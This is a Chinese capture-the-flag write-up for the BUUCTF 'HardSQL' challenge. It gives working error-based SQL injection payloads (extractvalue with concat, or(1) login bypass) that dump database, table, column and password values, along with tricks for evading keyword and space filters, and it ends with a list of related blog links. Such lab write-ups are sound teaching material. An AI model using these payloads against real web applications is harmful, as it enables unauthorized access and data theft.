【BUUCTF】HardSQL
【BUUCTF】HardSQL
题目来源
收录于:BUUCTF 极客大挑战 2019
题目描述
一道纯粹的SQL注入题
尝试进行注入,发现对以下字符进行了过滤:
= %20(空格) %09 %0a %0b %0c %0d /**/ substr union by and
且过滤方式不区分大小写,检测到以上字符就die()
题解
先找注入点,由于空格被过滤,与空格起同样作用的字符也被过滤,因此我们使用(
和)
将库名、表名、字段名包裹起来,就不需要使用空格了。
exp 如下:
?username=-1'or(1)%23&password=1
成功登录。
由于过滤了union
,我们使用报错注入的方式进行尝试。另外,由于=
被过滤,我们可以使用like
来代替=
。payload如下:
//爆库名
1'or(extractvalue(1,concat(0x7e,(database()))))%23
//爆表名
1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))%23
//爆字段名
1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")))))%23
//爆字段值
1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)))))%23
在爆字段值的时候我们看到,flag只显示了一部分
由于substr()
函数被过滤,我们使用left()
或right()
来进行字符串的截取,payload:
1'or(extractvalue(1,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),30))))%23
其中30是截取右边字符的个数,可以改为其他值,只要能拿到完整flag即可。
总结
绕过空格
使用以下字符替代空格,可以起到相同效果
%09 %0a %0b %0c %0d /**/
或使用(
和)
包裹库名、表名、字段名,从而避免空格的使用,如:
select(group_concat(table_name))from(information_schema.tables)where(table_schema)=(database())
绕过 =
用like
代替=
字符串显示不全
使用以下三个函数对字符串进行截取:
substr() left() right()
【BUUCTF】HardSQL的更多相关文章
- 【BUUCTF】强网杯 2019随便注1 write up
输入万能密码1' or 1=1# ,判断存在sql注入, SQL注入的万能密码实际上是利用了网址后台的漏洞,打开下面的网址不用密码和账号也可以登录后台. 万能密码原理: 万能密码能够绕过sql检测,在 ...
- 【BUUCTF】ACTF2020 新生赛Include1 write up
查看源代码+抓包都没有发现什么信息,只有这两个东东 <meta charset="utf8"> Can you find out the flag? <meta ...
- Python高手之路【六】python基础之字符串格式化
Python的字符串格式化有两种方式: 百分号方式.format方式 百分号的方式相对来说比较老,而format方式则是比较先进的方式,企图替换古老的方式,目前两者并存.[PEP-3101] This ...
- 【原】谈谈对Objective-C中代理模式的误解
[原]谈谈对Objective-C中代理模式的误解 本文转载请注明出处 —— polobymulberry-博客园 1. 前言 这篇文章主要是对代理模式和委托模式进行了对比,个人认为Objective ...
- 【原】FMDB源码阅读(三)
[原]FMDB源码阅读(三) 本文转载请注明出处 —— polobymulberry-博客园 1. 前言 FMDB比较优秀的地方就在于对多线程的处理.所以这一篇主要是研究FMDB的多线程处理的实现.而 ...
- 【原】Android热更新开源项目Tinker源码解析系列之一:Dex热更新
[原]Android热更新开源项目Tinker源码解析系列之一:Dex热更新 Tinker是微信的第一个开源项目,主要用于安卓应用bug的热修复和功能的迭代. Tinker github地址:http ...
- 【调侃】IOC前世今生
前些天,参与了公司内部小组的一次技术交流,主要是针对<IOC与AOP>,本着学而时习之的态度及积极分享的精神,我就结合一个小故事来初浅地剖析一下我眼中的“IOC前世今生”,以方便初学者能更 ...
- Python高手之路【三】python基础之函数
基本数据类型补充: set 是一个无序且不重复的元素集合 class set(object): """ set() -> new empty set object ...
- Python高手之路【一】初识python
Python简介 1:Python的创始人 Python (英国发音:/ˈpaɪθən/ 美国发音:/ˈpaɪθɑːn/), 是一种解释型.面向对象.动态数据类型的高级程序设计语言,由荷兰人Guido ...
- 【开源】简单4步搞定QQ登录,无需什么代码功底【无语言界限】
说17号发超简单的教程就17号,qq核审通过后就封装了这个,现在放出来~~ 这个是我封装的一个开源项目:https://github.com/dunitian/LoTQQLogin ————————— ...
随机推荐
- Navicat连接Oracle数据库报错:oracle library is not loaded解决方法
连接Oracle时提示"oracle library is not loaded". 去Oracle官网下载Oracle Instant Client Downloads. htt ...
- 【Amadeus原创】GFS 安装使用
准备环境: 一.修改每台主机的host文件,在/etc/hosts下添加内容: 172.62.21.44 gfs1 172.62.21.43 gfs2 172.62.21.37 gfs3 二.分别安装 ...
- AT_kupc2019_g ABCのG問題题解
这题的难度不怎么好说,不过我认为还是挺简单的. 我们可以把答案看成由多个子图构成的图,这样我们只需要手打一个小子图,从中推出完整的答案. - 把小于子图范围的地方填上子图的字母 - 如果这个点的横坐标 ...
- ABS函数:C语言与Excel中的绝对值计算
ABS函数:C语言与Excel中的绝对值计算 ABS函数在不同的编程和计算环境中有着相似但又有所区别的用途.在本文中,我们将重点探讨ABS函数在C语言中的应用,同时也会结合Excel中的ABS函数进行 ...
- Vetur can't find `tsconfig.json` or `jsconfig.json` in XXX
vue界面启动项目 visual code报错 如下图,找到 Ignore Project Warning 前边打上对勾
- [转]关于c#中遍历从数据库中取出的DataTable集合
作为刚进入c#语言不久的小白,我们需要掌握的基本操作之DataTable集合.首先你需要一个sql语句,这里我就不写了,但是这里要注意,这个sql语句的目的是查出你需要的一张数据表,这个时候才会用到D ...
- 使用Maven客户端从Maven中心仓库下载到本地的jar包的默认存储位置及远程仓库
从Maven中心仓库下载到本地的jar包的默认存放在"${user.home}/.m2/repository"中,${user.home}表示当前登录系统的用户目录(如" ...
- .NET 9 new features-分布式追踪支持、HTTP/3 改进以及更好的容器镜像支持
.NET 9 针对云原生开发进行了显著优化,重点改进了分布式追踪.HTTP/3 支持和容器镜像优化等方面. 这些特性极大地提升了 .NET 在现代云原生应用中的适配性与开发效率. 1. 设计原理 1. ...
- 前端学习openLayers配合vue3(获取矢量图的个数,省份的个数)
矢量图层绘制了一个中国地图,我们获取一下矢量图层的个数 关键代码 map .getLayers()//获取所有图层 .item(1)//获取矢量图层 .getSource() .on("ch ...
- Report -「概率数据结构」随机化骗分?我们是专业的!
\[\mathscr{Lorain~y~w~la~Lora~blea.} \newcommand{\DS}[0]{\displaystyle} % operators alias \newcomman ...